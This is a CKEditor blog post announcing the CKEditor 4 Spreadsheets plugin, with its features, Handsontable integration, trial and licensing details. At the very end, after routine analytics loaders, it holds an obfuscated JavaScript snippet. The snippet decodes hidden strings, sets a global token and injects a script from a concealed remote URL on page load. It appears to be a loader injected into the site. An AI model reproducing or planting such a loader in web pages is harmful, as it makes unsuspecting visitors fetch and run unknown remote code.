Creating data grids in WYSIWYG editor - CKEditor 4 Spreadsheets released

CKEditor 4 Spreadsheets release

We are happy to announce the release of CKEditor 4 Spreadsheets that offer Excel-like functionality right inside the WYSIWYG editor. The new Spreadsheet plugin allows you to create intelligent, data-driven documents directly in CKEditor 4. This makes it a perfect solution for financial, auditing, engineering, technical and science industries.

A spreadsheet widget inserted into CKEditor 4 WYSIWYG editor.
A spreadsheet widget inserted into CKEditor 4 WYSIWYG editor.

Spreadsheets vs tables

CKEditor 4 has long been a tool of choice for creating data-driven rich-text documents thanks to features such as best-in-class table support or advanced Paste from Excel. Knowing the limitations of classic HTML tables and web browsers, over the years we introduced features such as column resize with your mouse or custom table selection that allows you to select an arbitrary table fragment.

However, even with all the improvements, HTML tables fall short when it comes to working with dynamic data and smart documents. Sorting and filtering data, setting fixed data types with validation, using formulas and conditional formatting are all handy features that are well-known from Microsoft Excel or Google Sheets but have not been available in WYSIWYG editors. Until now!

Spreadsheets for smart documents

Under the hood, the Spreadsheet plugin is powered by Handsontable, a popular JavaScript data grid component. In the last few months, we have been working together with our partner to create a seamless integration of the existing CKEditor 4 features and the new spreadsheet functionality.

With Spreadsheets, we can finally capture data and rich-text content in one living document. This is a breakthrough moment that can drive innovation in various business fields such as corporate budgeting, strategic planning, and financial reporting. It literally changes the way people think about their documents.

Chris Spilka, CEO, Handsontable

Thanks to the integration that combines the data and rich-text content in one place you can maximize the effectiveness of your team and improve your corporate document workflow. What’s more, the cool thing about the integration is that with one click you can switch between a native HTML table and a spreadsheet widget, preserving all data.

Your data stays with you

While spreadsheet solutions are sometimes available in the cloud, in some scenarios it is not possible to use them due to privacy and data security concerns as well as regulatory limitations. CKEditor 4 Spreadsheets allows you to easily integrate the Spreadsheet plugin with your CKEditor 4.13+ instance, install it on your own server and have full control over the data. It’s like having your private Word and Excel or Google Docs and Sheets combined, inside your own application, on your own terms!

Spreadsheets features

Here is an overview of the features that are provided by CKEditor 4 Spreadsheets to make working with data-rich documents easy for you:

  • Inserting spreadsheets with and without a header row or column and with any number of rows and columns.
  • Inserting spreadsheets using predefined templates.
  • Converting existing tables to spreadsheet instances and vice versa.
  • Spreadsheet structure manipulation (adding or removing rows and columns).
  • Resizing rows and columns.
  • Single and multi-column sorting.
  • Basic data styling like bold, italic, underline and so on.
  • Selecting cell type and formatting with data validation support.
  • Using formulas.
  • Auto filling rows and columns.
  • Applying various conditional formatting rules to single and multiple cells, entire columns or spreadsheets.
  • Advanced copying and pasting.
Conditional formatting in CKEditor 4 Spreadsheets.
Conditional formatting in CKEditor 4 Spreadsheets.

Check the Creating Data Grids with Spreadsheet Plugin article for an overview of all available features of the Spreadsheet plugin.

Try out Spreadsheets!

See for yourself — try out the possibilities of the new Spreadsheet plugin on the demo page.

If you would like to have a deeper look and integrate Spreadsheets with your application that uses CKEditor 4, you can sign up for a 30-days commitment-free trial.

Installing Spreadsheets

There are a few methods that you can use in order to add the Spreadsheet plugin to your CKEditor 4 installation:

See the Spreadsheets Integration guide for detailed installation steps.


CKEditor 4 Spreadsheets is a commercial solution. We will be happy to discuss your use case and propose a tailor-made offer. Contact us for more details!

Feedback needed!

We are very excited about the possibilities that the new Spreadsheets integration can bring to CKEditor 4. We will be thankful for any suggestions, ideas, and comments that you can send us. Use the official CKEditor 4 GitHub repository to request features and report issues.

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

Form content fields

Form submit

Hidden unused field.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = ''; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= ''+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });